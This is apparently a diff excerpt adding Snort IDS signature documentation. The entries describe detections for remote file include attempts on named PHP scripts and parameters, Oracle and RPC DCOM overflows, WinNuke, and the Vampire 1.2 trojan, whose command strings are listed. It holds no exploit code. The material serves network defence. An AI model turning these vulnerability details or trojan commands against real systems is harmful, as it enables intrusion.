+This event indicates that an attempt has been made to include a file from a remote machine via the "babInstallPath" parameter in the "artedit.php" script used by the "Ovidentia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ovidentia
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000589.txt
+++ snort-2.8.5.2/doc/signatures/100000589.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000589
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "db_import.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "db_import.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3063.txt
+++ snort-2.8.5.2/doc/signatures/3063.txt
@@ -0,0 +1,133 @@
+Rule: 
+
+--
+Sid: 
+3063
+
+-- 
+Summary: 
+This event is generated when an attempt is made to request a connection using
+the Vampire 1.2 trojan.
+
+-- 
+Impact: 
+If connected, the attacker could execute a multitude of functions resulting in a
+complete compromise of the victim's machine.
+
+--
+Detailed Information:
+Vampire 1.2 uses port 1020 by default. This port cannot be changed by the attacker. 
+
+The following is a list of the commands for many of Vampier 1.2's functions
+(Command Name: Command String):
+
+Chat With Victim: chat
+Clear Recent Folder: cleardoc
+Close Windows: endwin
+Corrupt File: currfile
+Crazy Mouse: crazy
+Delete Directory: deletedir
+Delete File: delete
+Disk Space Left: space
+Disable CTRL-ALT-DEL: ctrldisable
+Enable CTRL-ALT-DEL: ctrlenable
+Fill Hard Drive: fillhd
+Find File: findfiles
+Format: format
+Get Active Windows: getact
+Get ICQ Number: geticq
+Get Local Time: gettime
+Get Operating System: getos
+Get Server Path: getpath
+Get System Owner: getowner
+Get Temp Directory: gettemp
+Get Windows Directory: getwin
+Get Current User: getname
+Get Disk Serial Number: getserial
+Get Hard Drive: gethd
+Get Organization: getorg
+Hang Up Modem: hangup
+ISP Account Info: ispinfo
+Kill Window: killtask\
+Logoff: logoff
+Make Directory: makedir
+Monitor Off: monitoroff
+Monitor On: monitoron
+Hide Mouse: hidemouse
+Show Mouse: showmouse
+Open Control Panel: panel
+Open Date And Time: date
+Open CD-ROM: cdopen
+Close CD-ROM: cdclose
+Open URL: www\
+Ping: ping
+Read A Drive: reada
+Reboot: reboot
+Kill Registry: regfuck
+Run Program: run
+Screenshot: screenshot
+Send Keys: text
+Send Message: sndmsg
+Set Computer Name: pcname
+Set Volume Label: setvolumelabel
+Shutdown: shutdown
+Hide Task Bar: hidetask
+Show Task Bar: showtask
+Wacky CR-ROM: wackycd
+--
+Affected Systems:
+Windows 95/98/ME
+
+--
+
+Attack Scenarios: 
+The victim must first install the server. Be wary of suspicious files because
+they often can be backdoors in disguise.
+Once the victim mistakenly installs the server program, the attacker usually
+will employ an IP scanner program
+to find the IP addresses of victims that have installed the program. Then the
+attacker enters the IP address and 
+presses the connect button and he has access to your computer.
+
+-- 
+
+Ease of Attack: 
+Easy. Simply a matter of pressing the connect button once the victim has
+installed the server.
+
+
+-- 
+
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+-- 
+
+Corrective Action: 
+In order to get rid of it, you must kill the following processes:
+vampire.exe or (if not there) server.exe
+
+You must delete the following files from your hard drive:
+vampire.exe or (if not there) server.exe
+
+Keep your anti-virus software updated.
+
+--
+Contributors:
+Original Rule Writer: Ricky Macatee <rmacatee@sourcefire.com> 
+Sourcefire Research Team
+
+-- 
+Additional References:
+
+Pestpatrol:
+http://www.pestpatrol.com/pestinfo/v/vampire_1_2.asp
+
+Dark-E:
+http://www.dark-e.com/archive/trojans/vampire/index.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2719.txt
+++ snort-2.8.5.2/doc/signatures/2719.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2719
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure abort_flavor_definition
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2388.txt
+++ snort-2.8.5.2/doc/signatures/2388.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2388
+
+--
+Summary:
+This event is generated when an attempt is made to access
+view_broadcast.cgi on a server used for streaming media services.
+
+--
+Impact:
+Information gathering and system integrity compromise.
+
+--
+Detailed Information:
+The view_broadcast.cgi script contains a known vulnerability that may
+allow an attacker to perform a variety of cross-site scripting attacks.
+This event is generated when an attempt is amde to access the script
+directly from a source external to the protected network.
+
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/959.txt
+++ snort-2.8.5.2/doc/signatures/959.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+959
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1235.txt
+++ snort-2.8.5.2/doc/signatures/1235.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1235
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1148.txt
+++ snort-2.8.5.2/doc/signatures/1148.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1148
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000666.txt
+++ snort-2.8.5.2/doc/signatures/100000666.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000666
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "files.php" using a remote file being passed as the 
+"footer_prog" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "footer_prog" parameter in the "files.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/524.txt
+++ snort-2.8.5.2/doc/signatures/524.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid: 524
+
+--
+Summary:
+This event is generated when TCP traffic to port 0 is detected. This 
+should not be seen in normal TCP communications.
+
+--
+Impact:
+Possible reconnaisance. This may be an attempt to verify the existance 
+of a host or hosts at a particular address or address range.
+
+--
+Detailed Information:
+TCP traffic to port 0 is not valid under normal circumstances.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	Any
+
+--
+Attack Scenarios:
+The attacker could send packets to a host with a destination port of 0. 
+The attacker might also be using hping to verify the existance of a host
+as a prelude to an attack.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow TCP traffic to port 0.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1257.txt
+++ snort-2.8.5.2/doc/signatures/1257.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1257 
+
+--
+Summary:
+This event is generated when an attempt is made to use WinNuke against a
+host.
+
+--
+Impact:
+Serious. Possible Denial of Service (DoS), this can cause a system to 
+crash or lose network connectivity
+
+--
+Detailed Information:
+An attacker can send a malformed data packet to and networked host over 
+TCP and cause a DoS, loss of network connectivity, or a system crash.
+
+--
+Affected Systems:
+	Windows NT Workstation and Server 4.0
+	Windows NT Workstation and Server 3.5.x
+	Windows 3.1x
+	Windows 95
+--
+Attack Scenarios:
+Program is run against a system in an attempt to knock the system off 
+the network. 
+
+--
+Ease of Attack:
+Simple. An attacker runs WinNuke and enters an IP address of a target 
+system.
+
+--
+False Positives:
+None Known.
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Since there is no known fix for several of the affected operating 
+systems, SMB traffic should be blocked at the firewall and all TCP 
+traffic on ports 139/135 should be dropped.
+ 
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by  Mike Rivett ebiz@rivett.org
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3049.txt
+++ snort-2.8.5.2/doc/signatures/3049.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3049
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000479.txt
+++ snort-2.8.5.2/doc/signatures/100000479.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000479
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "CzarNews" application running on a webserver. 
+Access to the file "headlines.php" using a remote file being passed as the 
+"tpath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "tpath" parameter in the "headlines.php" script used by 
+the "CzarNews" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using CzarNews
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/544.txt
+++ snort-2.8.5.2/doc/signatures/544.txt
@@ -0,0 +1,69 @@
+Rule:  
+
+--
+Sid:
+544
+
+--
+Summary:
+This event is generated when an attempt is made to retrieve a file named
+"1mb" from an ftp server.
+
+--
+Impact:
+Possible abuse ftp behavior by hordes of warez sites, and the
+existance of (potentially) illegal files/software on an ftp server.
+
+--
+Detailed Information:
+Warez sites have been known to name "warez" files by their size.  Large
+files are split into smaller, more manageable chunks, and allow warez
+sites to store large files on ftp sites in a semi-organized manner.
+Once these files are uploaded, it is common practice for other warez
+users to attempt to retrieve them.
+
+--
+Affected Systems:
+ All FTP servers
+
+--
+Attack Scenarios:
+As part of an attempt to store elite warez on an ftp server, an
+attacker named the file "1mb" to indicate it's size.  This file is
+likely part of an archive that represents a larger, most likely
+illegal copy of media.
+
+--
+Ease of Attack:
+Simple. Exploit software is not required
+
+--
+False Positives:
+If a legitimate user has a legitimate file named "1mb", this rule may
+generate an event.
+
+--
+False Negatives:
+This will detect only files named 1mb.  If a warez site decides to
+start naming their files in a different way this rule will not generate
+an event.
+
+--
+Corrective Action:
+Inspect the ftp server for a file named 1mb. If it exists, determine
+if the file is legitimate, or if it was deposited by someone attempting
+to use the server to distribute non-legitimate files.
+
+Furthermore, evaluate the need for ftp write access.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2571.txt
+++ snort-2.8.5.2/doc/signatures/2571.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2571
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential 
+weakness on a host running a web application on Microsoft Internet 
+Information Server (IIS).
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential 
+weaknesses in a host running a web application on Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation
+on the host, this may be the prelude to an attack against that host 
+using that information.
+
+The attacker may also be trying to gain administrator access to the 
+host, garner information on users of the system or retrieve sensitive 
+customer information.
+
+Some applications may store sensitive information such as database 
+connections, user information, passwords and customer information in 
+files accessible via a web interface. Care should be taken to ensure 
+these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been 
+taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1789.txt
+++ snort-2.8.5.2/doc/signatures/1789.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid: 1789
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+IRC Protocol
+http://www.irchelp.org/irchelp/rfc/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1681.txt
+++ snort-2.8.5.2/doc/signatures/1681.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid: 1681
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an Oracle database server that may result in a serious compromise of the data stored on that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained superuser access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an Oracle database that may result in a serious compromise of all data stored on that system.
+
+Such commands may be used to gain access to a system with the privileges of an administrator, delete data, add data, add users, delete users, return sensitive information or gain intelligence on the server software for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the result of spawning a remote shell as a consequence of a successful network exploit. 
+
+Oracle servers running on a Windows platform may listen on any arbitrary
+port. Change the $ORACLE_PORTS variable in snort.conf to "any" if this
+is applicable to the protected network.
+
+--
+
+Attack Scenarios: 
+Simple. These are Oracle database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+Configure your ORACLE_PORTS variable correctly for the environment you are in. 
+In many situations ORACLE negotiates a communication port. This means that 1521 
+and 1526 are not used for communication during the entire transaction. A new 
+port is negotiated after the initial connect message, all communication after 
+that uses this other port. If you are in an environment such as this, you should 
+set ORACLE_PORTS to "any" in snort.conf. 
+ 
+Otherwise, there are no known false negatives.
+
+-- 
+
+Corrective Action: 
+Use a firewall to disallow direct access to the Oracle database from sources external to the protected network.
+Ensure that this event was not generated by a legitimate session then investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3277.txt
+++ snort-2.8.5.2/doc/signatures/3277.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3277
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000634.txt
+++ snort-2.8.5.2/doc/signatures/100000634.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000634
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "template_add_custom.php" using a remote file being passed 
+as the "admin_template_path" parameter may indicate that an exploitation 
+attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"template_add_custom.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
